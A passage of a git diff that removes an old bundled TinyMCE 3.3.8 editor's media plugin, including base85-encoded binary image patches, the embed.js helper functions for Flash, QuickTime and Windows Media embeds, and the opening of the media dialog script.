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 diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/quicktime.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/quicktime.gif deleted file mode 100644 index 3b0499145b16138249f653a1a3f2c80230fb292c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 303 zcmV+~0nq+ONk%w1VGsZi0K^{vH>m7Qv+~s9^fsC5ZpZP=*zu3F=Jxpf8k_5u%JNv6 z=md-84VLU4w)kSE=yI&-yw>b=v+SqE?+kq47pC+YrR?bJ^yu>Zyvpn;hTp*6^mM!O zu+8$^=JX7b<p2NwA^8LW0018VEC2ui01yBW000H7;3tYl0b#{4u3u+7TeNM4p{`tp zAPhzE1BGA&nJgF$f-(Sr05YA=A+taLG^4^p09hzLl7$Bm6=@Mn&qSa&Zn6$^2jE#4 z26c|e5)VWpbq{z8dLI`71Q#L?9t;r<3?2?62RBoV2@(h%84xTV1|E$a2Lo0L5*8vZ z3Of!e8b1IJ4>b<~J01ZTA{q@86#&8&6~H`Ss{{?p%K!-p%L6P2TpFYz90?pD06UU# BbnE~C diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/realmedia.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/realmedia.gif deleted file mode 100644 index fdfe0b9ac05869ae845fdd828eaad97cc0c69dbc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 439 zcmV;o0Z9HwNk%w1VI=?(0K^{vQcz8xz}f&njBB06v9GQ`Jv%NdDHCI&z`wqZw$(Lw zuFTBL!Pe#<92tv>h)9OE1Xh}vnVEHSaeb-GByg#tqM_B*)YRkdSdqTu<Kq($4eIgt z07{c)W@Z2Y0RR90A^8LW0018VEC2ui03`qt000I5;3tmX6%3D}JVU~ea4d`4L_vbU z?R!oQuNiDZ90d+Lh@ur}CQvxRV<Qx03Jr;9kQ`iu8)s06@OUDh#O^TuSUR0br;y1w z00jxcDls$+9Rwc|9vTZ9NC#ge4rUr200@t8W`Y171r7xs4H=gP8w@)SF#sAG4s`|| z1`!brkZu*Tn+6N39Ur0`7(=T7A`7Pl003~V4I0GBk&kGI90yb*k{%9LupJo$4h|NN zbOg?g8W|#L917Eeg?l0d$&Vfq8<!de2B!p<1q2IQYbH?1u;3qw4G1a_F!zptg$xJ| zEkIx)q7e!?4qyntfXKQ4DFjvllRyE792_7taG3BR07ec2){PXxV8R0m2M#27utPzc hnLsyCNWv1RQ6oJU9W}ZE0)zxhqYhA@G%AS@06S<cl~n)$ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/shockwave.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/shockwave.gif deleted file mode 100644 index 5f235dfc7363bd4957b5fe352e16a7eee9a38574..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 387 zcmZ?wbhEHb6lD-#xXJ(m|AF9|(f@B(e|&xQ_v6XWFR%Td$?$)n^p7RFzqSScKhyN< z>ipLaF8n=^^LJP4|1^gG<ubn(XZ%`U^Z)3aPnY-pY_a}vWYNbnTmMHg{GXY2256v) z%70_yt9p8O%+2rR<lL>Rdo_Rl+a*grZQ1hw@Zo1ikN$oB{QbRq&z?QIckdq1a<D7N zBou$LFfuS`Gw6WygZ#w6w%~wh;|49Meh=kFMGvdVOm2@oW4YKwpJ#4uH4^E#y1?Ur zgw@h>E3;Fq_(WV>Kc7gjQtQh+9OrtFhn-)LUqD<|MOIl_!(Ed#pPRE;S)g;ew3>pd zn`Wa(lc2DGa)peFw3f88dp-|`@*)AXj;@(<N*-E#9KvFYwUjlLt5@ypo2MnDrKY8= g>8hwDr|7Sxsp;&YxjN*Y{PBB!TIU|!b7Zgv0OaG5)&Kwi diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/trans.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/trans.gif deleted file mode 100644 index 388486517fa8da13ebd150e8f65d5096c3e10c3a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 43 ncmZ?wbhEHbWMp7un7{x9ia%KxMSyG_5FaGNz{KRj$Y2csb)f_x diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/windowsmedia.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/img/windowsmedia.gif deleted file mode 100644 index ab50f2d887a0843b116ef598e5a005e5601d18d0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 415 zcmV;Q0bu?|Nk%w1VGjTg0M$PL`E^qkEu+z?1&N?x_*pRg{rx~kg!#|I<>uyug^O^t z0hZGrt*x!>$1C!zn`W5@`ts6_uMW)2%<0NUEKIo?SIPPE=}U0}7Z(?JcX!y=*;bF< zCWz-=h7+2ao9)(dOHM;+X=xs9)%!~xc&ICMZdRYdUQ2$^@9y(6X3NCIz{cM7f^Z=Q z1_tQ95kgl8b%R%OiYTIo7LSdE^<g{S%f{2(!x(nqRGjHZr0IW^!yX<Ufq!q~!#RbG zsQ>@}A^8LW002J#EC2ui01p5U000KOz@O0K01zUifeIyT9%!RzMDgehG|mwLz+Eh; z7Z~<O+d66*jm@O!TxJNz2;i`UR0tHx^tgZ+0CP1KAR!ql1qdV^FA0GF8iXJ_Eg=Xd zF)utP961Ptlsgg#A3Xw_HykS#I~WWS1r`&g89Eg=I4CoS1qB}yE;0!k6cr*HE4>iE zrX?OfJ^>XeDJK)xJuWOB3_l1N0Ra>g4Gk^=ED0V6LI?>4;Q|6OB{LplLMRLg8U5-E J?0y6R06W6!pgRBn diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/embed.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/embed.js deleted file mode 100644 index f8dc810..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/embed.js +++ /dev/null @@ -1,73 +0,0 @@ -/** - * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. - */ - -function writeFlash(p) { - writeEmbed( - 'D27CDB6E-AE6D-11cf-96B8-444553540000', - 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', - 'application/x-shockwave-flash', - p - ); -} - -function writeShockWave(p) { - writeEmbed( - '166B1BCA-3F9C-11CF-8075-444553540000', - 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', - 'application/x-director', - p - ); -} - -function writeQuickTime(p) { - writeEmbed( - '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', - 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', - 'video/quicktime', - p - ); -} - -function writeRealMedia(p) { - writeEmbed( - 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', - 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', - 'audio/x-pn-realaudio-plugin', - p - ); -} - -function writeWindowsMedia(p) { - p.url = p.src; - writeEmbed( - '6BF52A52-394A-11D3-B153-00C04F79FAA6', - 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', - 'application/x-mplayer2', - p - ); -} - -function writeEmbed(cls, cb, mt, p) { - var h = '', n; - - h += '<object classid="clsid:' + cls + '" codebase="' + cb + '"'; - h += typeof(p.id) != "undefined" ? 'id="' + p.id + '"' : ''; - h += typeof(p.name) != "undefined" ? 'name="' + p.name + '"' : ''; - h += typeof(p.width) != "undefined" ? 'width="' + p.width + '"' : ''; - h += typeof(p.height) != "undefined" ? 'height="' + p.height + '"' : ''; - h += typeof(p.align) != "undefined" ? 'align="' + p.align + '"' : ''; - h += '>'; - - for (n in p) - h += '<param name="' + n + '" value="' + p[n] + '">'; - - h += '<embed type="' + mt + '"'; - - for (n in p) - h += n + '="' + p[n] + '" '; - - h += '></embed></object>'; - - document.write(h); -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/media.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/media.js deleted file mode 100644 index 86cfa98..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/js/media.js +++ /dev/null @@ -1,630 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var oldWidth, oldHeight, ed, url; - -if (url = tinyMCEPopup.getParam("media_external_list_url")) - document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); - -function init() { - var pl = "", f, val; - var type = "flash", fe, i; - - ed = tinyMCEPopup.editor; - - tinyMCEPopup.resizeToInnerSize(); - f = document.forms[0] - - fe = ed.selection.getNode(); - if (/mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(ed.dom.getAttrib(fe, 'class'))) { - pl = fe.title; - - switch (ed.dom.getAttrib(fe, 'class')) { - case 'mceItemFlash': - type = 'flash'; - break; - - case 'mceItemFlashVideo': - type = 'flv'; - break; - - case 'mceItemShockWave': - type = 'shockwave'; - break; - - case 'mceItemWindowsMedia': - type = 'wmp'; - break; - - case 'mceItemQuickTime': - type = 'qt'; - break; - - case 'mceItemRealMedia': - type = 'rmp'; - break; - } - - document.forms[0].insert.value = ed.getLang('update', 'Insert', true); - } - - document.getElementById('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media'); - document.getElementById('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','qt_qtsrc','media','media'); - document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); - - var html = getMediaListHTML('medialist','src','media','media'); - if (html == "") - document.getElementById("linklistrow").style.display = 'none'; - else - document.getElementById("linklistcontainer").innerHTML = html; - - // Resize some elements - if (isVisible('filebrowser')) - document.getElementById('src').style.width = '230px'; - - // Setup form - if (pl != "") { - pl = tinyMCEPopup.editor.plugins.media._parse(pl); - - switch (type) { - case "flash": - setBool(pl, 'flash', 'play'); - setBool(pl, 'flash', 'loop'); - setBool(pl, 'flash', 'menu'); - setBool(pl, 'flash', 'swliveconnect'); - setStr(pl, 'flash', 'quality'); - setStr(pl, 'flash', 'scale'); - setStr(pl, 'flash', 'salign'); - setStr(pl, 'flash', 'wmode'); - setStr(pl, 'flash', 'base'); - setStr(pl, 'flash', 'flashvars'); - break; - - case "qt": - setBool(pl, 'qt', 'loop'); - setBool(pl, 'qt', 'autoplay'); - setBool(pl, 'qt', 'cache'); - setBool(pl, 'qt', 'controller'); - setBool(pl, 'qt', 'correction'); - setBool(pl, 'qt', 'enablejavascript'); - setBool(pl, 'qt', 'kioskmode'); - setBool(pl, 'qt', 'autohref'); - setBool(pl, 'qt', 'playeveryframe'); - setBool(pl, 'qt', 'tarsetcache'); - setStr(pl, 'qt', 'scale'); - setStr(pl, 'qt', 'starttime'); - setStr(pl, 'qt', 'endtime'); - setStr(pl, 'qt', 'tarset'); - setStr(pl, 'qt', 'qtsrcchokespeed'); - setStr(pl, 'qt', 'volume'); - setStr(pl, 'qt', 'qtsrc'); - break; - - case "shockwave": - setBool(pl, 'shockwave', 'sound'); - setBool(pl, 'shockwave', 'progress'); - setBool(pl, 'shockwave', 'autostart'); - setBool(pl, 'shockwave', 'swliveconnect'); - setStr(pl, 'shockwave', 'swvolume'); - setStr(pl, 'shockwave', 'swstretchstyle'); - setStr(pl, 'shockwave', 'swstretchhalign'); - setStr(pl, 'shockwave', 'swstretchvalign'); - break; - - case "wmp": - setBool(pl, 'wmp', 'autostart'); - setBool(pl, 'wmp', 'enabled'); - setBool(pl, 'wmp', 'enablecontextmenu'); - setBool(pl, 'wmp', 'fullscreen'); - setBool(pl, 'wmp', 'invokeurls'); - setBool(pl, 'wmp', 'mute'); - setBool(pl, 'wmp', 'stretchtofit'); - setBool(pl, 'wmp', 'windowlessvideo'); - setStr(pl, 'wmp', 'balance'); - setStr(pl, 'wmp', 'baseurl'); - setStr(pl, 'wmp', 'captioningid'); - setStr(pl, 'wmp', 'currentmarker'); - setStr(pl, 'wmp', 'currentposition'); - setStr(pl, 'wmp', 'defaultframe'); - setStr(pl, 'wmp', 'playcount'); - setStr(pl, 'wmp', 'rate'); - setStr(pl, 'wmp', 'uimode'); - setStr(pl, 'wmp', 'volume'); - break; - - case "rmp": - setBool(pl, 'rmp', 'autostart'); - setBool(pl, 'rmp', 'loop'); - setBool(pl, 'rmp', 'autogotourl'); - setBool(pl, 'rmp', 'center'); - setBool(pl, 'rmp', 'imagestatus'); - setBool(pl, 'rmp', 'maintainaspect'); - setBool(pl, 'rmp', 'nojava'); - setBool(pl, 'rmp', 'prefetch'); - setBool(pl, 'rmp', 'shuffle'); - setStr(pl, 'rmp', 'console'); - setStr(pl, 'rmp', 'controls'); - setStr(pl, 'rmp', 'numloop'); - setStr(pl, 'rmp', 'scriptcallbacks'); - break; - } - - setStr(pl, null, 'src'); - setStr(pl, null, 'id'); - setStr(pl, null, 'name'); - setStr(pl, null, 'vspace'); - setStr(pl, null, 'hspace'); - setStr(pl, null, 'bgcolor'); - setStr(pl, null, 'align'); - setStr(pl, null, 'width'); - setStr(pl, null, 'height'); - - if ((val = ed.dom.getAttrib(fe, "width")) != "") - pl.width = f.width.value = val; - - if ((val = ed.dom.getAttrib(fe, "height")) != "") - pl.height = f.height.value = val; - - oldWidth = pl.width ? parseInt(pl.width) : 0; - oldHeight = pl.height ? parseInt(pl.height) : 0; - } else - oldWidth = oldHeight = 0; - - selectByValue(f, 'media_type', type); - changedType(type); - updateColor('bgcolor_pick', 'bgcolor'); - - TinyMCE_EditableSelects.init(); - generatePreview(); -} - -function insertMedia() { - var fe, f = document.forms[0], h; - - 